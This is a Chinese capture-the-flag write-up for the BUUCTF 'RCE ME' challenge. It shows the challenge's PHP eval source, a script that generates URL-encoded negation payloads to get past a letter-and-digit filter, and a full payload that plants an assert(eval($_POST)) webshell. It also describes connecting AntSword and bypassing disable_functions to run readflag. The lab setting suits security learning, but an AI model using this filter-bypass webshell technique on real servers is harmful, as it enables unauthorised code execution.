BUUCTF [极客大挑战 2019]RCE ME

发布时间 2023-09-25 18:46:37作者: Amsterdamnit
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}
// ?>

preg_match过滤了大小写字母和数字
我们可以使用异或绕过url编码取反绕过

url编码取反绕过:就是将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。
即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
?>

在这里,我们不能直接使用eval是因为eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。使用assert来构造,但由于php版本问题,我们并不能直接构造<?php assert($_POST['a']);>,我们需要调用eval
拼接为assert(eval($_POST[test]))
最后payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

连接蚁剑的URL:

http://0b91244f-16a8-497e-8303-f8c8f9fd5a59.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

其中在根目录找到了flag文件,但是是空的。另外有个readflag的可执行文件。

借助蚁剑插件绕过disable_functions可以执行readflag得到flag{0d6ea3d0-9fa9-40c7-ac6b-3c4e3760c128}




参考链接:
浅谈PHP代码执行中出现过滤限制的绕过执行方法
https://blog.csdn.net/m0_62879498/article/details/124803318